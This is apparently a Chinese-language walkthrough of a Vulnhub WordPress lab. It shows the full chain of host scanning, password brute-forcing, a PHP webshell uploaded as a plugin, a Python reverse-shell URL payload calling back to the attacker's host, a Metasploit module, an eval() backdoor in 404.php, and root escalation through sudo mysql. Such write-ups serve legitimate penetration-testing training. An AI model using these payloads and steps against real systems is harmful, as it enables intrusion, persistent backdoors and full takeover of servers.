一、 简介

获取不到靶机ip解决方法:Vulnhub靶机获取不到ip | w0dao的学习笔记 (w0dao)

1.1、目标:

​ 取得 2 个 flag + root 权限

1.2、涉及攻击方法:

主机发现

端口扫描

WEB路径爆破

BurpSuite内容替换

密码爆破

MSF漏洞利用

Wordpress后台漏洞利用

升级Full TTY终端

蚁剑上线

利用MySQL提权

二、主机发现

使用nmap 进行主机发现 (arp也可以)

nmap扫描主机的详细介绍:Nmap扫描器主机、端口、版本、OS、漏洞扫描基本用法 - 简书 (jianshu.com)

sudo namp -sn 10.0.2.0/24

-sn 是只对主机进行发现不扫描开放的端口,可以快速发现存活的主机,个人感觉arp对主机发现更快一些。

image-20240118195606494

三、端口扫描

找到对应存活的主机后,进行一步搜集信息,扫描开放的端口

sudo namp -p- 10.0.2.6

扫描目标靶机的开放端口

image-20240118195702005

发现80端口开放,查看指定端口对应的服务

sudo namp -p 80 -sV 10.0.2.6 

四、WEB路径爆破(feroxbuster)

访问网页后发现没有任何可以利用的地方,进而对扫描后台路劲查找可以利用点

目录扫描可以使用 dirsearch、dirb、御剑、feroxbuster等(此处使用feroxbuster)

4.1、 feroxbuster安装&&使用

sudo apt install feroxbuster -y

#由于feroxbuster本身没有内建目录字典,需要调用seclists中的字典,所以这个也需要安装一下
sudo apt install seclists -y
feroxbuster --url http://10.0.2.6

image-20240118194916976

扫描后发现可以访问目录http://10.0.2.6/wordpress/

但是加载时间较长,使用burpsuite抓包,查看一下

image-20240118193159472

五、BurpSuite内容替换

由于网页加载时间较长,而且js和css都没有加载出来,抓包后发现,js和css文件重定向到其他地址,使用burpSuite,进行内容替换重定向到目标靶机上

将响应头部和响应体中192.168.159.145替换成10.0.2.6

image-20240118194816997

使用burpSuite内容替换刷新后,网页如上图,发现还是没有任何利用点、

六、登录页面

http://10.0.2.6/wordpress/wp-login.php

进而从目录扫描中寻找其他网页,发现一个登录页面

image-20240118195303637

常规思路,使用弱口令进行尝试,发现存在admin这个用户,密码未知,使用burpsuite爆破密码

6.1、密码爆破

在burp中抓包找到登录页面的网页请求报,发送打intruder板块,进行爆破,密码字典可以从网上下载一个,或者使用密码生成器生成

爆破后发现密码为adam14

image-20240119115513129

登录后密码如下

image-20240119142918398

七、Wordpress后台漏洞利用

7.1、可能存在利用点一(失败)

含有webshell的文件上传失败

image-20240119122737596

7.2、疑似利用点二(未成)

直接在主题文件中添加一句话木马,文件保存失败

image-20240119122952050

image-20240119123037547

7.3、 利用点三(成功)

通过插件上传点,成功上传shell

路径:

  • Plugins->Add New->Upload Plugin->上传成功

插件内容如如下,格式不能出错:

cat shell.php
<?php
/**

* Plugin Name: Webshell
* Plugin URI: https://yuanfh.github.io
* Description: WP Wehshell for Pentest
* Version: 1.0
* Author: yuanfh
* Author URI: https://yuanfh.github.io
* License: https://yuanfh.github.io
*/

if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>

插件上传要求使用zip格式,所以文件进行压缩

zip shell.zip shell

image-20240119123816202

上传成功

image-20240119123851452

对自己编写的webshell进行利用

image-20240119124447602

访问自己上传webshell:

http://10.0.2.6/wordpress/wp-content/plugins/shell.php?cmd=id

image-20240119124552215

查看靶机中是否有nc和python3,为后面反弹shell做准备

http://10.0.2.6/wordpress/wp-content/plugins/shell.php?cmd=which nc

image-20240119124731103

http://10.0.2.6/wordpress/wp-content/plugins/shell.php?cmd=which python3

image-20240119124802622

八、反弹shell

8.1、python利用payload

http://10.0.2.6/wordpress/wp-content/plugins/shell.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.0.2.4%22,5555));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

利用直接先在攻击机进行端口监听:

nc -nvlp 5555

image-20240119125007150

payload执行后成功监听到端口

8.2、使用MSF反弹shell(权限不足)

使用命令行打开msf

msfconsole

在msf中查找可以利用的漏洞

search wordpress admin

发现编号2可以利用

image-20240119125119747

use 2
show options

image-20240119125215615

将需要填写的信息,根据之前获得的信息进行填写

set PASSWORD adam14
set RHOSTS 10.0.2.6
set TARGETURI /wordpress
set USERNAME admin
run

image-20240119130040679

shell反弹成功,但是权限不足

image-20240119130142595

九、升级Full TTY终端

进入主题目录,上传webshell,进而获取flag

切换到主题目录,在404.php,中将webshell插入

cd wp-content/themes/twentytwentyone
vi 404php

使用vi 进行编写是发现,终端无法满足正常使用,终止编写,更改终端

image-20240119130544909

查看当前终端,将终端更改为bash,更换后重启才会生效

echo $SHELL
chsh -s /bin/bash
reboot

image-20240119130726104

重启后查看终端是否更改成功

echo $SHELL

image-20240119130912289

更改成功

9.1、重新进行监听

重新使用python3监听端口,步骤如上,在此省略

image-20240119145846685

监听成功后,按Ctrl+Z停止监听

image-20240119145947658

stty raw -echo
fg

上述命令输入fg后会成功出现nc -nvlp 5555命令

image-20240119150016217

继续输入一下命令

ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset

image-20240119132209790

输入完成后终端即升级成功,继续切换到主题目录,在404.php插入一句话话木马

cd wp-content/themes/twentytwentyone
vi 404.php
eval($_POST["cmd"]);

由于文件类型时php,所以不需要在添加php格式,直接写内容就行了

image-20240119132728702

十、蚁剑上线

url地址为:

http://10.0.2.6/wordpress/wp-content/themes/twentytwentyone/404.php

image-20240119135112679

十一、系统提权

前期通过系统信息收集该系统存在wpadmin账户,内核版本5.4无法提权

通过WordPress配置文件找到了数据库配置文件,找到数据库连接密码

image-20240119135257422

找到数据库用户名:admin和密码:Wp_Admin#123

切换到wp-admin账号

su wpadmin
  • 使用数据库登录密码:Wp_Admin#123,登录失败
  • 尝试使用爆破出的登录密码adam14,登录成功
  • 回到主目录,查看flag
cd ~
cat local.txt

image-20240119135522414

查看用户的权限

sudo -l

发现mysql可以利用

image-20240119135546957

十二、利用MySQL提权

sudo /usr/bin/mysql -u root -D wordpress -p

尝试后发现登录密码还是adam14

使用system命令查看账号权限,发现刚好时root账号

system id

image-20240119135713528

将窗口切换到系统执行窗口

system /bin/bash

image-20240119135904785

将目录切换到根目录,查看第二个flag

cd ~
cat proof.txt

到此靶机目标全部完成

建议

​ 在以后渗透过程时,由于系统shell比较难的,如果可以的话,尽量多准备几个shell,以防万一。